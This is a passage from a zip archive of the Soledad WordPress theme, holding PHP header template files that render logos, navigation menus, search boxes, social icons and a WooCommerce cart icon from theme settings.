						<?php } else { ?>
                            <a href="<?php echo $logo_url_nav; ?>"><img
                                        src="<?php echo PENCI_SOLEDAD_URL; ?>/images/mobile-logo.png"
                                        width="125"
                                        height="36" alt="<?php bloginfo( 'name' ); ?>"/></a>
						<?php } ?>
					<?php } ?>
                </div>
			<?php endif; ?>

			<?php if ( ! get_theme_mod( 'penci_header_social_vertical' ) ) : ?>
                <div class="header-social sidebar-nav-social<?php if ( get_theme_mod( 'penci_header_social_vertical_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
					<?php get_template_part( 'inc/modules/socials' ); ?>
                </div>
			<?php endif; ?>

			<?php if ( get_theme_mod( 'penci_vernav_searchform' ) ): ?>
                <div class="penci-hbg-search-box penci-vernav-search-box">
                    <form role="search" method="get" class="pc-searchform penci-hbg-search-form"
                          action="<?php echo esc_url( home_url( '/' ) ); ?>">
                        <div class="inner-hbg-search-form">
                            <input type="text" class="search-input"
                                   placeholder="<?php echo penci_get_setting( 'penci_trans_type_and_hit' ); ?>"
                                   name="s"/>
                            <i class="penciicon-magnifiying-glass"></i>
                        </div>
                    </form>
                </div>
			<?php endif; ?>

			<?php
			/**
			 * Display main navigation
			 */
			$menu_id            = '';
			$custom_menu_vernav = get_theme_mod( 'penci_moble_vertical_menu' );
			if ( $custom_menu_vernav ) {
				$menu_id = $custom_menu_vernav;
			}
			if ( is_page() ) {
				$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
				if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
					$menu_id = $pmeta_page_header['main_nav_menu'];
				}
			}
			wp_nav_menu( array(
				'menu'           => $menu_id,
				'container'      => false,
				'theme_location' => 'main-menu',
				'menu_class'     => 'menu',
				'fallback_cb'    => 'penci_menu_fallback',
				'walker'         => new penci_menu_walker_nav_menu()
			) );
		}
		?>
    </nav>
<?php } ?>
PK     N\q:    "  template-parts/header/header-6.phpnu [        <?php $header_class_main = penci_soledad_wpheader_classes(); ?>
<header id="header" class="<?php echo esc_attr( $header_class_main ); ?>" <?php if( ! get_theme_mod('penci_schema_wphead') ): ?>itemscope="itemscope" itemtype="https://schema.org/WPHeader"<?php endif;?>>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
		<?php $class_layout_bottom = penci_soledad_sitenavigation_classes(); ?>
		<?php
		$header_trans      = penci_is_header_transparent();
		$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
		if( $dis_sticky_header ){
			echo '<div class="sticky-wrapper">';
		}
		?>
		<nav id="navigation" class="<?php echo esc_attr( $class_layout_bottom ); ?>" role="navigation" <?php if( ! get_theme_mod('penci_schema_sitenav') ): ?>itemscope itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
            <div class="<?php penci_soledad_get_header_width(); ?>">
                <div class="button-menu-mobile header-6"><?php penci_svg_menu_icon(); ?></div>
				<?php
				get_template_part( 'template-parts/header/logo-has-trans' );
				get_template_part( 'template-parts/header/menu' );
				do_action( 'penci_top_search' );

				if ( ! get_theme_mod( 'penci_topbar_search_check' ) ) {
					get_template_part( 'template-parts/header/top-search' );
				}
				get_template_part( 'template-parts/menu-hamburger-icon' );
				get_template_part( 'template-parts/header/shop-icon' );
				?>

				<?php if ( get_theme_mod( 'penci_header_social_nav' ) ) : ?>
                    <div class="main-nav-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
                    </div>
				<?php endif; ?>

            </div>
        </nav><!-- End Navigation -->
		<?php
		if( $dis_sticky_header ){
			echo '</div>';
		}
		?>
	<?php endif; ?>
</header>
<!-- end #header -->

PK     N\r`  `  "  template-parts/header/header-5.phpnu [        <?php $header_class_main = penci_soledad_wpheader_classes(); ?>
<header id="header" class="<?php echo esc_attr( $header_class_main ); ?>"
        <?php if ( ! get_theme_mod( 'penci_schema_wphead' ) ): ?>itemscope="itemscope"
        itemtype="https://schema.org/WPHeader"<?php endif; ?>>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_remove_header' ) ): ?>
        <div class="inner-header penci-header-second">
            <div class="<?php penci_soledad_get_header_width(); ?>">
                <div id="logo">
					<?php get_template_part( 'template-parts/header/logo' ); ?>
					<?php if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ): echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>'; endif; ?>
                </div>

				<?php if ( penci_get_setting( 'penci_header_slogan_text' ) ) : ?>
                    <div class="header-slogan">
                        <div class="header-slogan-text"><?php echo penci_get_setting( 'penci_header_slogan_text' ); ?></div>
                    </div>
				<?php endif; ?>

				<?php if ( ! get_theme_mod( 'penci_header_social_check' ) ) : ?>
                    <div class="header-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
                    </div>
				<?php endif; ?>
            </div>
        </div>
	<?php endif; ?>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
		<?php $class_layout_bottom = penci_soledad_sitenavigation_classes(); ?>
		<?php
		$header_trans      = penci_is_header_transparent();
		$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
		if ( $dis_sticky_header ) {
			echo '<div class="sticky-wrapper">';
		}
		?>
        <nav id="navigation" class="<?php echo esc_attr( $class_layout_bottom ); ?>" role="navigation"
		     <?php if ( ! get_theme_mod( 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
            <div class="<?php penci_soledad_get_header_width(); ?>">
                <div class="button-menu-mobile header-5"><?php penci_svg_menu_icon(); ?></div>
				<?php if ( get_theme_mod( 'penci_header_logo_mobile' ) ): ?>
                    <div class="penci-mobile-hlogo">
						<?php get_template_part( 'template-parts/header/logo' ); ?>
                    </div>
				<?php endif; ?>

				<?php get_template_part( 'template-parts/header/menu' ); ?>

				<?php if ( get_theme_mod( 'penci_header_social_nav' ) ) : ?>
                    <div class="main-nav-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
                    </div>
				<?php endif; ?>

				<?php
				get_template_part( 'template-parts/menu-hamburger-icon' );

				if ( ! get_theme_mod( 'penci_topbar_search_check' ) ) {
					get_template_part( 'template-parts/header/top-search' );
				}
				do_action( 'penci_top_search' );
				?>

				<?php if ( class_exists( 'WooCommerce' ) ): ?>
					<?php get_template_part( 'template-parts/header/shop-icon' ); ?>
				<?php endif; ?>
            </div>
        </nav><!-- End Navigation -->
		<?php
		if ( $dis_sticky_header ) {
			echo '</div>';
		}
		?>
	<?php endif; ?>
</header>
<!-- end #header -->
PK     N\PY  Y  "  template-parts/header/header-2.phpnu [        <?php
$header_class_main = penci_soledad_wpheader_classes();
?>
<header id="header" class="<?php echo esc_attr( $header_class_main ); ?>" <?php if( ! get_theme_mod('penci_schema_wphead') ): ?>itemscope="itemscope" itemtype="https://schema.org/WPHeader"<?php endif;?>>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_remove_header' ) ): ?>
		<div class="inner-header penci-header-second">
			<div class="<?php penci_soledad_get_header_width(); ?>">
				<div id="logo">
					<?php get_template_part( 'template-parts/header/logo' ); ?>
					<?php if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ): echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>'; endif; ?>
				</div>

				<?php if ( penci_get_setting( 'penci_header_slogan_text' ) ) : ?>
					<div class="header-slogan">
						<div class="header-slogan-text"><?php echo penci_get_setting( 'penci_header_slogan_text' ); ?></div>
					</div>
				<?php endif; ?>

				<?php if ( ! get_theme_mod( 'penci_header_social_check' ) ) : ?>
					<div class="header-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
					</div>
				<?php endif; ?>
			</div>
		</div>
	<?php endif; ?>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
		<?php $class_layout_bottom = penci_soledad_sitenavigation_classes(); ?>
		<?php
		$header_trans      = penci_is_header_transparent();
		$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
		if( $dis_sticky_header ){
			echo '<div class="sticky-wrapper">';
		}
		?>
		<nav id="navigation" class="<?php echo esc_attr( $class_layout_bottom ); ?>" role="navigation" <?php if( ! get_theme_mod('penci_schema_sitenav') ): ?>itemscope itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
			<div class="<?php penci_soledad_get_header_width(); ?>">
				<div class="button-menu-mobile header-2"><?php penci_svg_menu_icon(); ?></div>
				<?php
				if ( get_theme_mod( 'penci_header_logo_mobile' ) ) {
					echo '<div class="penci-mobile-hlogo">';
					get_template_part( 'template-parts/header/logo' );
					echo '</div>';
				}

				get_template_part( 'template-parts/header/menu' );
				do_action( 'penci_top_search' );
				if ( ! get_theme_mod( 'penci_topbar_search_check' ) ) {
					get_template_part( 'template-parts/header/top-search' );
				}
				get_template_part( 'template-parts/menu-hamburger-icon' );
				?>
				<?php if ( class_exists( 'WooCommerce' ) ): ?>
					<?php get_template_part( 'template-parts/header/shop-icon' ); ?>
				<?php endif; ?>

				<?php if ( get_theme_mod( 'penci_header_social_nav' ) ) : ?>
                    <div class="main-nav-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
                    </div>
				<?php endif; ?>

            </div>
        </nav><!-- End Navigation -->
		<?php
		if( $dis_sticky_header ){
			echo '</div>';
		}
		?>
	<?php endif; ?>
</header>
<!-- end #header -->
PK     N\!    #  template-parts/header/cart-icon.phpnu [        <?php
if ( ! class_exists( 'WooCommerce' ) || get_theme_mod( 'penci_woo_shop_hide_cart_icon', false ) ) {
	return;
}
if ( function_exists( 'WC' ) && WC()->cart ) {
    $cart_count = WC()->cart->get_cart_contents_count();
    $cart_count_html = sprintf( _n( '%d', '%d', $cart_count ), $cart_count );
} else {
    $cart_count_html = '0'; // Display a fallback value if the cart isn't available
}
?>
<div id="top-header-cart"
     class="top-search-classes pcheader-icon shoping-cart-icon<?php if ( get_theme_mod( 'penci_topbar_search_check' ) ): echo ' clear-right'; endif; ?>">
    <ul>
        <li><a class="cart-contents"
               href="<?php echo wc_get_cart_url(); ?>"
               title="<?php _e( 'View your shopping cart' ); ?>">
                <i class="penciicon-shopping-cart"></i>
                <span><?php echo $cart_count_html; ?></span></a>
			<?php if ( 'dropdown' == get_theme_mod( 'penci_woo_cart_style' ) ): ?>
                <div class="penci-header-cart-detail woocommerce">
                    <div class="widget_shopping_cart_content">
						<?php woocommerce_mini_cart(); ?>
                    </div>
                </div>
			<?php endif; ?>
        </li>
    </ul>
</div>
PK     N\r}Qp    "  template-parts/header/header-1.phpnu [        <?php $navigation_class = penci_soledad_sitenavigation_classes(); ?>
<?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>

	<?php
	$header_trans      = penci_is_header_transparent();
	$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
	if ( $dis_sticky_header ) {
		echo '<div class="sticky-wrapper">';
	}
	?>
    <nav id="navigation" class="<?php echo esc_attr( $navigation_class ); ?>" role="navigation"
	     <?php if ( ! get_theme_mod( 'penci_schema_sitenav' ) ): ?>itemscope
         itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
        <div class="<?php penci_soledad_get_header_width(); ?>">
            <div class="button-menu-mobile header-1"><?php penci_svg_menu_icon(); ?></div>
			<?php
			get_template_part( 'template-parts/header/logo-mobile' );
			get_template_part( 'template-parts/header/menu' );
			?>

			<?php
			do_action( 'penci_top_search' );
			if ( ! get_theme_mod( 'penci_topbar_search_check' ) ) {
				get_template_part( 'template-parts/header/top-search' );
			}
			get_template_part( 'template-parts/menu-hamburger-icon' );
			?>
			<?php if ( class_exists( 'WooCommerce' ) ): ?>
				<?php get_template_part( 'template-parts/header/shop-icon' ); ?>
			<?php endif; ?>

			<?php if ( get_theme_mod( 'penci_header_social_nav' ) ) : ?>
                <div class="main-nav-social <?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
					<?php get_template_part( 'inc/modules/socials' ); ?>
                </div>
			<?php endif; ?>
        </div>
		<?php
		if( $dis_sticky_header ){
			echo '</div>';
		}
		?>
	</nav><!-- End Navigation -->
<?php endif; ?>
<?php get_template_part( 'template-parts/header/header-second' ); ?>

PK     N\vEw      %  template-parts/header/logo-mobile.phpnu [        <?php
if ( get_theme_mod( 'penci_header_logo_mobile' ) ) {
	$logo_url = esc_url( home_url( '/' ) );
	if ( get_theme_mod( 'penci_custom_url_logo' ) ) {
		$logo_url = get_theme_mod( 'penci_custom_url_logo' );
	}

	$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
	if ( get_theme_mod( 'penci_logo' ) ) {
		$logo_src = get_theme_mod( 'penci_logo' );
	}
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
	<div class="penci-mobile-hlogo">
		<a href="<?php echo esc_url( $logo_url ); ?>"><img class="penci-mainlogo penci-mainlogo-mb penci-limg" <?php echo $data_dark_logo;?> src="<?php echo esc_url( $logo_src ); ?>" alt="<?php bloginfo( 'name' ); ?>" width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>" height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>" /></a>
	</div>
	<?php
}
PK     N\kæ"  "    template-parts/header/logo.phpnu [        <?php
$logo_url = esc_url( home_url( '/' ) );
if ( get_theme_mod( 'penci_custom_url_logo' ) ) {
	$logo_url = get_theme_mod( 'penci_custom_url_logo' );
}
$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
if ( get_theme_mod( 'penci_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_logo' );
}

if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {

		$logo_src_meta = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
		if ( $logo_src_meta ) {
			$logo_src = $logo_src_meta;
		}
	}
}
$extra_logo_class = '';
$header_layout    = penci_soledad_get_header_layout();
if ( in_array( $header_layout, array( 'header-1', 'header-2', 'header-4', 'header-5', 'header-7', 'header-8' ) ) ) {
	$extra_logo_class = ' pclogo-cls';
}
$data_dark_logo = '';
$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
	$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
	$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
}
?>
<a href="<?php echo $logo_url; ?>"><img
            class="penci-mainlogo penci-limg<?php echo $extra_logo_class; ?>" <?php echo $data_dark_logo; ?>
            src="<?php echo esc_url( $logo_src ); ?>" alt="<?php bloginfo( 'name' ); ?>"
            width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
            height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>"></a>
PK     N\Fz    "  template-parts/header/header-4.phpnu [        <?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
	<?php $navigation_class = penci_soledad_sitenavigation_classes(); ?>
	<?php
	$header_trans      = penci_is_header_transparent();
	$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
	if ( $dis_sticky_header ) {
		echo '<div class="sticky-wrapper">';
	}
	?>
    <nav id="navigation" class="<?php echo esc_attr( $navigation_class ); ?>" role="navigation"
	     <?php if ( ! get_theme_mod( 'penci_schema_sitenav' ) ): ?>itemscope
         itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
        <div class="<?php penci_soledad_get_header_width(); ?>">
            <div class="button-menu-mobile header-1"><?php penci_svg_menu_icon(); ?></div>
			<?php
			get_template_part( 'template-parts/header/logo-mobile' );
			get_template_part( 'template-parts/header/menu' );
			?>
			<?php if ( get_theme_mod( 'penci_header_social_nav' ) ) : ?>
                <div class="main-nav-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
					<?php get_template_part( 'inc/modules/socials' ); ?>
                </div>
			<?php endif; ?>

			<?php
			get_template_part( 'template-parts/menu-hamburger-icon' );
			if ( ! get_theme_mod( 'penci_topbar_search_check' ) ) {
				get_template_part( 'template-parts/header/top-search' );
			}
			?>
			<?php if ( class_exists( 'WooCommerce' ) ): ?>
				<?php get_template_part( 'template-parts/header/shop-icon' ); ?>
			<?php endif;
			do_action( 'penci_top_search' );
			?>
        </div>
    </nav><!-- End Navigation -->
	<?php
	if ( $dis_sticky_header ) {
		echo '</div>';
	}
	?>
<?php endif; ?>
<?php get_template_part( 'template-parts/header/header-second' ); ?>

PK     N\nB$    1  template-parts/header/mailchimp-below-header2.phpnu [        <?php
/**
 * Display sign-up mailchimp form below the header
 * Check if 'header-signup-form' has widget, if true display it
 *
 * @since 2.0
 */
if ( is_active_sidebar( 'header-signup-form' ) && get_theme_mod( 'penci_move_signup_below' ) && ! is_page_template( array( 'page-fullwidth.php' ) ) ):
	if( ! get_theme_mod( 'penci_move_signup_full_width' ) ){
		?>
		<div class="container penci-header-signup-form penci-header-signup-form-below">
			<?php dynamic_sidebar( 'header-signup-form' ); ?>
		</div>
	<?php } else { ?>
		<div class="penci-header-signup-form penci-header-signup-form-below">
			<div class="container">
				<?php dynamic_sidebar( 'header-signup-form' ); ?>
			</div>
		</div>
	<?php } ?>
<?php endif; ?>PK     N\aJ	  	    template-parts/header/menu.phpnu [        <?php
$menu_id = '';
if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
		$menu_id = $pmeta_page_header['main_nav_menu'];
	}
}

wp_nav_menu( array(
	'menu'            => $menu_id,
	'container'      => false,
	'theme_location' => 'main-menu',
	'menu_class'     => 'menu',
	'fallback_cb'    => 'penci_menu_fallback',
	'walker'         => new penci_menu_walker_nav_menu()
) );PK     N\    '  template-parts/header/top-instagram.phpnu [        <?php if ( is_active_sidebar( 'top-instagram' ) ): ?>
	<div class="footer-instagram penci-top-instagram<?php if( get_theme_mod('penci_top_insta_overlay_image') ): echo ' penci-insta-title-overlay'; endif; ?>">
		<?php dynamic_sidebar( 'top-instagram' ); ?>
	</div>
<?php endif; ?>PK     N\\	  	  #  template-parts/header/header-10.phpnu [        <?php $header_class_main = penci_soledad_wpheader_classes(); ?>
<header id="header" class="<?php echo esc_attr( $header_class_main ); ?>" <?php if( ! get_theme_mod('penci_schema_wphead') ): ?>itemscope="itemscope" itemtype="https://schema.org/WPHeader"<?php endif;?>>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
		<?php $class_layout_bottom = penci_soledad_sitenavigation_classes(); ?>
		<?php
		$header_trans      = penci_is_header_transparent();
		$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
		if( $dis_sticky_header ){
			echo '<div class="sticky-wrapper">';
		}
		?>
		<nav id="navigation" class="<?php echo esc_attr( $class_layout_bottom ); ?>" role="navigation" <?php if( ! get_theme_mod('penci_schema_sitenav') ): ?>itemscope itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
            <div class="<?php penci_soledad_get_header_width(); ?>">
                <div class="button-menu-mobile header-10"><?php penci_svg_menu_icon(); ?></div>
				<?php
				get_template_part( 'template-parts/header/logo-mobile' );
				if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ): echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>'; endif;
				echo '<div class="penci-menu-wrap">';
				get_template_part( 'template-parts/header/menu' );
				echo '</div>';

				$topbar_search = get_theme_mod( 'penci_topbar_search_check' );

				if ( ! $topbar_search || get_theme_mod( 'penci_header_social_nav' ) || get_theme_mod( 'penci_menu_hbg_show' ) || ( class_exists( 'WooCommerce' ) ) ) {
					echo '<div class="penci-header-extra">';
					do_action( 'penci_top_search' );
					if ( ! $topbar_search ) {
						get_template_part( 'template-parts/header/top-search' );
					}
					get_template_part( 'template-parts/menu-hamburger-icon' );
					if ( class_exists( 'WooCommerce' )) {
						get_template_part( 'template-parts/header/shop-icon' );
					}
					if ( get_theme_mod( 'penci_header_social_nav' ) ) :
						?>
                        <div class="main-nav-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
							<?php get_template_part( 'inc/modules/socials' ); ?>
                        </div>
					<?php
					endif;
					echo '</div>';
				}
				?>
			</div>
		</nav>
		<?php
		if( $dis_sticky_header ){
			echo '</div>';
		}
		?>
	<?php endif; ?>
</header>
<!-- end #header -->
PK     N\n    "  template-parts/header/header-8.phpnu [        <?php $header_class_main = penci_soledad_wpheader_classes(); ?>
<header id="header" class="<?php echo esc_attr( $header_class_main ); ?>" <?php if( ! get_theme_mod('penci_schema_wphead') ): ?>itemscope="itemscope" itemtype="https://schema.org/WPHeader"<?php endif;?>>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_remove_header' ) ): ?>
		<div class="inner-header penci-header-second">
			<div class="<?php penci_soledad_get_header_width(); ?>">
				<div id="logo">
					<?php get_template_part( 'template-parts/header/logo' ); ?>
					<?php if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ): echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>'; endif; ?>
				</div>

				<?php if ( penci_get_setting( 'penci_header_slogan_text' ) ) : ?>
					<div class="header-slogan">
						<div class="header-slogan-text"><?php echo penci_get_setting( 'penci_header_slogan_text' ); ?></div>
					</div>
				<?php endif; ?>

				<?php if ( ! get_theme_mod( 'penci_header_social_check' ) ) : ?>
					<div class="header-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
					</div>
				<?php endif; ?>
			</div>
		</div>
	<?php endif; ?>
	<?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
		<?php $class_layout_bottom = penci_soledad_sitenavigation_classes(); ?>
		<?php
		$header_trans      = penci_is_header_transparent();
		$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
		if( $dis_sticky_header ){
			echo '<div class="sticky-wrapper">';
		}
		?>
		<nav id="navigation" class="<?php echo esc_attr( $class_layout_bottom ); ?>" role="navigation" <?php if( ! get_theme_mod('penci_schema_sitenav') ): ?>itemscope itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
			<div class="<?php penci_soledad_get_header_width(); ?>">
				<div class="button-menu-mobile header-8"><?php penci_svg_menu_icon(); ?></div>
				<?php if ( get_theme_mod( 'penci_header_logo_mobile' ) ) {
					echo '<div class="penci-mobile-hlogo">';
					get_template_part( 'template-parts/header/logo' );
					echo '</div>';
				} ?>

				<?php
				get_template_part( 'template-parts/header/menu' );
				do_action( 'penci_top_search' );

				if ( ! get_theme_mod( 'penci_topbar_search_check' ) ) {
					get_template_part( 'template-parts/header/top-search' );
				}
				get_template_part( 'template-parts/menu-hamburger-icon' );
				get_template_part( 'template-parts/header/shop-icon' );
				?>
				<?php if ( get_theme_mod( 'penci_header_social_nav' ) ) : ?>
                    <div class="main-nav-social<?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
						<?php get_template_part( 'inc/modules/socials' ); ?>
                    </div>
				<?php endif; ?>

            </div>
        </nav><!-- End Navigation -->
		<?php
		if( $dis_sticky_header ){
			echo '</div>';
		}
		?>
	<?php endif; ?>
</header>
<!-- end #header -->

PK     N\>
  >
  (  template-parts/header/logo-has-trans.phpnu [        <div id="logo">
	<?php
	$logo_url = esc_url( home_url( '/' ) );
	if ( get_theme_mod( 'penci_custom_url_logo' ) ) {
		$logo_url = get_theme_mod( 'penci_custom_url_logo' );
	}
	$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';

	if ( get_theme_mod( 'penci_logo' ) ) {
		$logo_src = get_theme_mod( 'penci_logo' );
	}
	$logo_sticky = $logo_src_tran = $logo_src;

	$header_trans = penci_is_header_transparent();
	if ( $header_trans ) {
		$hlogo_trans_sticky = get_theme_mod( 'penci_upload_transparent_logo' );
		if ( $hlogo_trans_sticky ) {
			$logo_src_tran = $hlogo_trans_sticky;
		}
	}

	if ( is_page() ) {
		$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
		if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {
			$url_logo_src = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
			if ( $url_logo_src ) {
				$logo_src = $url_logo_src;
			}
		}

		if ( $header_trans ) {
			if ( isset( $pmeta_page_header['hlogo_trans'] ) && $pmeta_page_header['hlogo_trans'] ) {
				$url_hlogo_trans = wp_get_attachment_url( intval( $pmeta_page_header['hlogo_trans'] ) );
				if ( $url_hlogo_trans ) {
					$logo_src_tran = $url_hlogo_trans;
				}
			}
		}
	}
	if ( $header_trans && $logo_src_tran ) {
		$logo_sticky = $logo_src;
		$logo_src    = $logo_src_tran;
	}
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
    <a href="<?php echo $logo_url; ?>">
        <img class="penci-mainlogo penci-limg penci-logo" <?php echo $data_dark_logo; ?> src="<?php echo esc_url( $logo_src ); ?>"
             alt="<?php bloginfo( 'name' ); ?>" width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
             height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>"/>
		<?php if ( $header_trans ): ?>
            <img class="penci-mainlogo penci-limg penci-logo-sticky" src="<?php echo esc_url( $logo_sticky ); ?>"
                 alt="<?php bloginfo( 'name' ); ?>"
                 width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                 height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>"/>
		<?php endif; ?>
    </a>
	<?php
	if ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_home_h1content' ) ) {
		echo '<h1 class="penci-hide-tagupdated">' . get_theme_mod( 'penci_home_h1content' ) . '</h1>';
	}
	?>
</div>
PK     N\^ٰ    "  template-parts/header/header-7.phpnu [        <?php if ( ! get_theme_mod( 'penci_vertical_nav_show' ) ) : ?>
	<?php $navigation_class = penci_soledad_sitenavigation_classes(); ?>
	<?php
	$header_trans      = penci_is_header_transparent();
	$dis_sticky_header = get_theme_mod( 'penci_disable_sticky_header' );
	if( $dis_sticky_header ){
		echo '<div class="sticky-wrapper">';
	}
	?>
	<nav id="navigation" class="<?php echo esc_attr( $navigation_class ); ?>" role="navigation" <?php if( ! get_theme_mod('penci_schema_sitenav') ): ?>itemscope itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
		<div class="<?php penci_soledad_get_header_width(); ?>">
            <div class="button-menu-mobile header-1"><?php penci_svg_menu_icon(); ?></div>
			<?php
			get_template_part( 'template-parts/header/logo-mobile' );
			get_template_part( 'template-parts/header/menu' );
			do_action( 'penci_top_search' );

			if ( ! get_theme_mod( 'penci_topbar_search_check' ) ) {
				get_template_part( 'template-parts/header/top-search' );
			}
			get_template_part( 'template-parts/menu-hamburger-icon' );
			?>
			<?php if ( class_exists( 'WooCommerce' ) ): ?>
				<?php get_template_part( 'template-parts/header/shop-icon' ); ?>
			<?php endif; ?>

			<?php if ( get_theme_mod( 'penci_header_social_nav' ) ) : ?>
                <div class="main-nav-social <?php if ( get_theme_mod( 'penci_header_social_brand' ) ): echo ' penci-social-textcolored'; endif; ?>">
					<?php get_template_part( 'inc/modules/socials' ); ?>
                </div>
			<?php endif; ?>

        </div>
    </nav><!-- End Navigation -->
	<?php
	if( $dis_sticky_header ){
		echo '</div>';
	}
	?>
<?php endif; ?>
<?php get_template_part( 'template-parts/header/header-second' ); ?>

PK     N\t7Q  Q  $  template-parts/header/top-search.phpnu [        <?php
$style = get_theme_mod( 'penci_topbar_search_style', 'default' );
?>
<div id="top-search" class="penci-top-search pcheader-icon top-search-classes">
    <a href="#" class="search-click" aria-label="Search">
        <i class="penciicon-magnifiying-glass"></i>
    </a>
    <div class="show-search pcbds-<?php echo esc_attr( $style ); ?>">
        <?php if ( 'popup' == $style ) : ?>
            <h3 class="pc-search-top-title">
                <?php echo penci_get_setting( 'penci_trans_search_title' ); ?>
            </h3>
        <?php endif; ?>
		<?php penci_search_form( [ 'innerclass' => true, 'innerclass_css' => 'pc-searchform-inner pc-eajxsearch' ] ); ?>
		<?php if ( 'popup' == $style ) : ?>
            <div class="pc-search-suggest-term post-tags">
